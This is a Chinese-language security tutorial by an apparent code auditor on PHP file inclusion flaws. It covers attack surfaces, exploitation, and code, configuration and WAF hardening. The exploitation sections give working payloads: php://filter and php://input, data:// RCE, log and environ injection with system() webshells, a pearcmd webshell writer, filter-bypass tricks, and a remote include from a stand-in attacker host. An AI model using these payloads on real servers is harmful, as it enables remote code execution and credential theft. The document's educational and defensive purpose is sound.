前阵子做了一次内部系统的代码审计,发现一个后台下载功能居然能直接读/etc/passwd,问题是出在一个文件包含点被框架的路由参数带歪了。这类问题在PHP项目里出现的频率,远比很多人想象的高。PHP文件包含漏洞,听着像是老生常谈,但直到今天,它依然是攻防演练和CTF比赛里出场率极高的入口,也是从“能读文件”到“能执行命令”的关键跳板。这篇文章我尽量把攻击面、利用链、修复方案讲透,也把我踩过的坑和排查思路一并写出来。
1. 先搞懂漏洞根源:include/require 不是传参,是信任失控
很多人把文件包含漏洞当成“参数校验不严”,这么理解会限制后续的利用思路。实际上它的问题本质是:代码里把用户可控的输入,直接拼进了文件加载函数。一旦路径可控,攻击者就能让程序去加载一个本来不该加载的文件,而这个文件可能是服务器上的任意文件,也可能是攻击者自己准备的恶意数据流。
1.1 include、require、include_once、require_once 的行为差异
这四个函数是PHP引入文件的核心方式。include 和 require 的区别很直白:include 加载失败只给警告,脚本继续跑;require 加载失败直接致命错误,脚本终止。include_once 和 require_once 则在引入前检查文件是否已经被加载过,避免重复定义函数或变量冲突。
重点是这四个函数都接受变量作为参数,而且对传入的路径解析规则跟shell很像:支持相对路径、绝对路径、../目录回溯、甚至是流包装器(stream wrapper)。也就是说,include($_GET['file'])这种写法一旦出现,漏洞面就完全敞开了。我在审计时见过把include_once($page.'.php')写成“防漏洞”的,结果还是被空字节截断或路径编码给绕了(尽管PHP 5.3.4之后空字节截断已修复,但老代码和生产环境里仍有残留)。
1.2 本地包含和远程包含的本质差异
本地文件包含(LFI)指只能读取和包含服务器本地已有的文件,利用核心是利用目录穿越和伪协议,让敏感文件被“当成PHP执行”或“被读出内容”。远程文件包含(RFI)则直接include('http://attacker.com/shell.txt'),攻击者把恶意代码托管在远端,服务器拉下来执行,效果就是直接RCE。
RFI的危害远大于LFI,但现在PHP默认配置下allow_url_include是关闭的,所以很多场景RFI用不了。可LFI依然能通过配合日志注入、临时文件上传、环境变量、伪协议等方式实现等效RCE。这也是为什么防御时不能只把allow_url_include关了就高枕无忧。
1.3 PHP版本和配置项对漏洞利用的影响
有几个配置项直接决定漏洞能不能利用,以及利用难度:
| 配置项 | 默认值 | 影响 |
|---|---|---|
allow_url_include | Off | 决定能否远程包含URL和php://input |
allow_url_fopen | On | 允许URL封装流,影响file_get_contents等读取 |
open_basedir | 空(不限制) | 限制PHP能访问的目录范围,影响LFI读取范围 |
magic_quotes_gpc | 旧版默认On,PHP 5.4起移除 | 曾经影响单引号转义,现已无意义 |
display_errors | On(开发环境) | 暴露路径和错误信息,助攻探测 |
实际测试顺序一般是:先看目标版本,再探测allow_url_include,然后判定用哪种利用链。我在攻防演练里习惯先通过phpinfo()或报错信息把配置摸清楚,再决定走哪条路,盲目打容易浪费时间。
2. 攻击面盘点:哪些功能最容易藏文件包含
文件包含点不会凭空出现,它往往藏在一些“看起来很需要动态加载”的功能里。摸清攻击面,比背payload更重要。根据我审计过的项目,下面几个位置出现频率极高。
2.1 模板加载和主题切换功能
很多PHP项目会让用户选择主题、模板或者语言包,代码里往往是include('templates/'.$_GET['theme'].'/index.php')。这个设计本身为了方便扩展,但参数一旦可控,攻击者就能把theme换成../../../../etc/passwd%00(老版本)或php://filter/convert.base64-encode/resource=index.php之类的内容。审计时看到模板参数、皮肤参数、语言参数,要格外留意。
2.2 下载、预览、文件导出功能
后台的附件下载、日志导出、图片预览,经常用readfile($_GET['path'])或者include拼接路径的方式实现。这种功能很容易出现目录穿越。曾经遇到过一个案例:导出Excel的接口,文件名参数直接从请求里取,然后拼到了下载路径里,通过../../一路穿越到数据库配置文件,配合报错信息直接把数据库账号密码读出来了。
2.3 路由分发和模块加载机制
一些老式框架或自研框架,会通过参数决定加载哪个控制器或模块,比如index.php?m=user&c=register&a=run,底层包含modules/下的文件。这类结构一旦在拼接c或a时少了白名单校验,就是一个大范围的文件包含,而且可利用面覆盖整站所有请求。
排查这类问题时,我习惯用两条线索:
- 搜索所有
include、include_once、require、require_once,看参数来源是否经过了$_GET、$_POST、$_COOKIE、$_FILES、$_SERVER,以及加解密函数、过滤函数。 - 看路径拼接处是否使用了
realpath、basename、str_replace做了校验,但这类校验往往也能绕过,后文会细说。
3. 利用手法拆解:从读取源码到远程命令执行
搞明白入口之后,重点来了——怎么把一个文件包含点变成实际危害。我按利用链的复杂程度排序,把常见手法和实测经验拆开讲。这一节内容比较多,但每一个手法背后都有实际案例支撑。
3.1 用 php://filter 读取源码:最稳妥的情报收集
当目标站点只能本地包含、又不能执行PHP代码时,php://filter是读取源码的首选。核心是利用流过滤器把文件内容base64编码后输出,避免包含PHP文件时被解析执行、直接看到空白页的问题。
/index.php?page=php://filter/convert.base64-encode/resource=config.php这条payload会返回config.php的base64编码内容,解码后就能拿到数据库配置、密钥等敏感信息。我测试过多种过滤器组合,convert.base64-encode最通用,因为它把内容转成纯文本字母数字,不会因为文件里含有特殊字符导致传输截断或解析异常。
实际利用前,还有几个细节:
resource=参数支持相对路径,但建议先通过php://filter/convert.base64-encode/resource=../index.php这种方式一级级摸目录结构,确认当前脚本所在目录。- 读取到的base64内容如果太长,浏览器或Burp里可能换行截断,记得一次性复制完整再解码,别只拷一部分。
- 针对压缩过的源码,可以先
zlib.deflate再base64,但一般没必要,直接读原文件就够用了。
3.2 php://input 与 data:// 实现原生RCE
当allow_url_include=On时,攻击面会瞬间放大。php://input允许把POST请求体当作文件内容来包含,直接把PHP代码放进POST body就能执行:
POST /index.php?page=php://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded <?php system('id'); ?>这里system('id')会被直接执行,返回当前运行PHP的用户身份。在容器环境里通常就是www-data,拿到这个信息就知道后续提权路径怎么走了。
data://是一个更隐蔽的变体,不需要改请求方法就能用:
/index.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOz8+PD9waHAgc3lzdGVtKCdpZCcpOz8+是<?php system('id');?>的base64编码。这种写法主要用来规避某些WAF的特征检测——如果WAF在参数值里搜<?php,用base64编码就可能绕过。不过实测下来,现在主流的WAF对data://这个协议名本身也有检测,单纯换编码不一定有效,后面讲绕过时再展开。
3.3 日志注入GetShell:最经典的“无文件组合拳”
RFI被禁用时,LFI加日志注入是获取webshell的经典路线。原理很简单:Web服务器会把请求写入访问日志,攻击者把PHP代码塞进User-Agent或者URL里,日志文件里就有了PHP代码,然后通过LFI把日志文件包含进来执行。
具体流程:
- 先确认日志路径,常见的有
/var/log/nginx/access.log、/var/log/apache2/access.log、/opt/lampp/logs/access_log。 - 在请求的User-Agent里写入
<?php system($_GET['cmd']); ?>,比如:GET / HTTP/1.1 Host: target.com User-Agent: <?php system($_GET['cmd']); ?> - 然后访问带包含点的URL,把日志文件包含进来,并带上cmd参数命令:
/index.php?page=../../../../var/log/nginx/access.log&cmd=id
为什么要把一句话写在UA而不是URL参数?因为URL里的参数往往会被URL编码,日志记录时的还原规则在不同服务器上有差异,用UA更稳定。另外,有些日志配置会过滤掉特殊字符,遇到这种情况可以试试请求一个不存在的路径,把马写在路径里。
这条利用链的几个坑我也踩过:
- 日志文件可能很大,包含时容易把页面撑爆或者超时。可以先包含日志文件把整个内容打出来,找到最后一次请求记录的位置,再执行命令,避免大量无关日志干扰。
- PHP执行日志里的内容时,如果日志里恰好有
<?php以外的PHP标签,比如之前写入的恶意代码残留,可能会报错中断。这时候多用几次或者换个UA特征再试。 - 高并发场景下日志写入频繁,可能出现半行日志被包含的情况,导致语法错误。我习惯在命令结尾加
//或者#注释掉多余内容,减少出错概率。
3.4 利用 /proc/self/environ 与 Session 文件:另一种“无文件”思路
除了日志文件,两个经常被利用的“脏文件”是/proc/self/environ和PHP的Session文件。
/proc/self/environ是Linux下当前进程的环境变量文件,Web请求的User-Agent、Referer等头也会出现在环境变量里。如果包含这个文件,同时把UA改成恶意代码,效果跟日志注入一样:
GET /index.php?page=../../../../proc/self/environ HTTP/1.1 Host: target.com User-Agent: <?php system('whoami'); ?>但这个手法的限制很明显:第一,很多现代环境(尤其PHP-FPM模式下)/proc/self/environ是空的或者没有权限读;第二,Apache的mod_php模式下成功率高一些。所以它更像一个备用选项,日志注入失败时可以换这条路。
Session文件包含的思路则完全不同。PHP默认会把Session数据存入/tmp/sess_<session_id>文件,攻击者如果能控制Session值中的内容,再通过LFI包含这个文件,就能执行代码。
利用条件同样苛刻,需要知道session.save_path(常见是/tmp)和能往session里写入可控数据——比如用户名、昵称、购物车内容等。CTF里很多题目会通过session_start()前的可控参数把代码灌进session,然后触发包含。
3.5 临时文件包含与 pearcmd/PHPINFO 组合
这条链在很多CTF题里都有身影,也是我最喜欢的进阶手法之一,因为它在allow_url_include=Off的情况下依然可以RCE。
核心思路:PHP在接收文件上传时,会把临时文件存到一个随机路径(比如/tmp/phpXXXXXX),请求结束后自动删除。利用点在于——如果能在请求处理过程中,通过LFI把那个临时文件包含进来执行,就完成了“临时上传临时执行”的闭环。
问题是临时文件名是随机的,怎么猜?常见解法有两种:
- 配合phpinfo():上传文件时,phpinfo页面会把临时文件路径完整打印出来。先开一个上传请求,同时在另一个请求里读取phpinfo,找到临时文件名,再立刻用LFI包含。因为phpinfo输出内容会包含
$_FILES的临时文件名,时机对得上就能精准命中。 - 暴力枚举:有些PHP版本(Windows下)临时文件名生成规则有规律,或者路径可控。但效率太低,一般只有在文件包含点本身可以循环利用时才会尝试。
pearcmd是另一个思路,前提是服务器上安装了PEAR(PHP扩展与应用库,多数发行版自带)。要是存在LFI,可以包含/usr/share/php/pearcmd.php,利用它的-c参数写webshell或者执行命令。基本原理是:pearcmd.php自身包含命令行解析逻辑,被包含时会执行系统命令。实际payload形如:
/index.php?page=/usr/share/php/pearcmd.php&+config-create+/<?=eval($_POST[1]);?>+/tmp/shell.php注意这里用了<?=短标签而不带php,为了规避部分场景的标签限制。不过这个手法的前置条件是pearcmd.php路径可达,且PHP的register_argc_argv开着(CLI下默认On,Web下部分版本也开),实战中需要先探测。
3.6 编码、截断与大小写:文件包含的绕过思路
绕过过滤是攻防演练里的高频需求。常见的过滤包括:过滤../、过滤php://、过滤file关键词等。我总结了几类实际可用的绕过方式:
| 过滤方式 | 绕过思路 | 示例 |
|---|---|---|
过滤../ | 多次编码或双写 | ....//或..%2f |
过滤php关键词 | 大小写混写(Linux不行,Windows/IIS部分可以) | PHP://filter |
过滤:// | 用?或#截断过滤规则 | php:?//filter(看解析差异) |
| 过滤点号 | 某些场景用不了 | 一般靠%2e编码 |
| 路径限制 | 利用php://filter不经过真实文件系统 | 直接读取配置目标 |
需要特别提醒的是:很多网上流传的编码绕过payload在PHP 5.3之后已经失效(比如空字节截断%00),而且在Linux上大小写混写对文件系统无效。所以实战前最好先在本地搭一个相同版本的环境复测,别拿过时payload硬打线上目标。
4. 防守加固:代码层、配置层、检测层缺一不可
漏洞利用讲了一大堆,防守部分更要重视。很多团队修漏洞只改一行代码,然后就算完事,结果过了半年换个参数又被打穿。我从三个层面梳理加固方案,每个层面都是我在真实项目中验证过的。
4.1 代码层:白名单校验加路径收敛
最简单的方案是白名单,不接受用户直接传文件名,而是让用户传索引值,代码里映射到固定的文件:
$pages = [ 'home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php', ]; $page = $_GET['page'] ?? 'home'; if (!isset($pages[$page])) { http_response_code(404); exit; } include __DIR__ . '/pages/' . $pages[$page];这样用户无论怎么传,最终只能命中白名单里那几个文件,从根本上杜绝了任意文件包含。如果业务确实需要用户传文件名,那必须做路径校验:
$baseDir = '/var/www/html/pages/'; $path = realpath($baseDir . $_GET['file']); $baseReal = realpath($baseDir); if ($path === false || strpos($path, $baseReal) !== 0) { die('Blocked'); } include $path;realpath会把所有../、符号链接解析成真实路径,再校验开头是否在白名单目录内。这套逻辑能挡住绝大多数目录穿越,但要注意strpos判断不能用!== false反而放行了前缀恰好相同的情况——我用strpos($path, $baseReal) !== 0是要求必须从第0位开始一致。
4.2 配置层:把坑填上再上锁
除了代码修复,PHP配置也得上紧:
allow_url_include = Off allow_url_fopen = Off(如果业务不需要远程拉取文件) open_basedir = /var/www/html:/tmpopen_basedir的效果是给PHP能打开的文件路径画一个圈,圈外的文件一律拒绝访问。这个配置对LFI的缓解非常明显——即使代码有包含点,攻击者也只能读到圈内文件。记得把临时目录/tmp也加进去,否则session、上传临时文件可能没法正常用。同时给目录设防:Web根目录下的敏感文件(配置、备份)移到Web目录之外,并用权限控制禁止Web用户读取不必要的文件。
还有一点容易忽略——把上传目录的PHP执行权限关掉。Nginx下可以这样配:
location ~* /uploads/.*\.(php|php5|phtml)$ { deny all; }Apache下则是:
<Directory "/var/www/html/uploads"> php_admin_flag engine off </Directory>这样就算攻击者通过文件上传拿到了一句话,扔进uploads目录也执行不了,能拦下一大批组合攻击。
4.3 检测层:从日志里找蛛丝马迹
代码和配置都补上了,还要保证能及时发现攻击行为。我每次做防守方演练都会建议客户在WAF上配置针对文件包含的规则,重点看两个特征:参数值里有没有目录穿越串(../、..%2f);有没有伪协议关键词(php://、data://、expect://、phar://)。
日志侧要重点关注异常请求模式:同一IP短时间内大量访问不同路径、User-Agent里出现PHP代码特征、状态码从200突然跳到500等。我在一次溯源中发现,攻击者先用php://filter读源码,然后立刻用日志注入打RCE,两步之间间隔不到30秒,恰好日志里留下了完整轨迹。防守方如果日志留存不全,这类攻击根本无从回溯。
另外建议上线前做一个自测脚本,把常见payload逐个打一遍,验证WAF和代码修复是否真正生效。自测payload别用 real 攻击代码,用无害的phpinfo或者返回固定字符串的命令,避免自测变真攻击。
5. 实战中的经验清单:审计和防护时反复核对
最后这部分算是我个人经验的沉淀,不是什么系统教程,就是几条我在审计和攻防里反复用、也反复踩过的教训。
第一,别忽略PHP框架里的间接包含。很多问题不是直接include用户输入,而是框架的视图渲染、语言包加载、插件机制里帮你把参数拼了进去。搜索关键词时不能只搜include,还要搜$this->load->view、View::make、render、file_get_contents这类间接文件操作。
第二,高危点往往出现在“后台但不设防”的功能上。文件导出、日志下载、主题切换这类功能看起来不起眼,平时没人管,接口鉴权还特别松。我审计过的一个系统,后台任何一个登录用户(包括低权限协作账号)都能调导出接口,而这个接口就是文件包含点。所以加固时不能只看/admin入口,要按功能列表一个一个过。
第三,容器环境下LFI的影响面可能超出想象。现在微服务架构流行,一台Web容器里可能挂着配置中心、消息队列等组件的地址。LFI一旦能读环境变量或配置,很容易横向探索到内网其他服务。防守方尤其要留意:容器里有没有随手留下的调试文件、备份文件、敏感密钥。
第四,每次修复后都要做回归验证。我遇到过修完LFI后,业务方反馈说模板加载不出来了——白名单方案把动态模板功能一刀切了。后来改成路径校验加白名单组合才解决。修漏洞不能只考虑安全,还得考虑业务连续性,上线前多测几个正常场景。
第五,本地搭一个测试环境特别重要。我一般用Docker起一个PHP容器,装不同版本和配置,把网上的payload逐个跑一遍。很多人在实战里打不通,不是理论不对,而是PHP版本、服务器类型、配置项和预期有差异。比如Apache下.htaccess能控制解析,Nginx下就要看fastcgi配置;同一段代码在PHP 5.6和PHP 8.2下的表现可能完全不同。花半小时搭环境,比盲试一整天增效太多。
文件包含漏洞本质上是信任边界没划清楚。代码信任了用户输入,配置信任了默认值,运维信任了框架——三层信任叠加,漏洞就出来了。防守的逻辑其实就一句话:把每个入口当成潜在被攻击点,用白名单、路径校验、权限收口和日志监控把这四个点全管住。攻击者的手法会变,但信任失控的本质不会变,守住这个本质就不会被打个措手不及。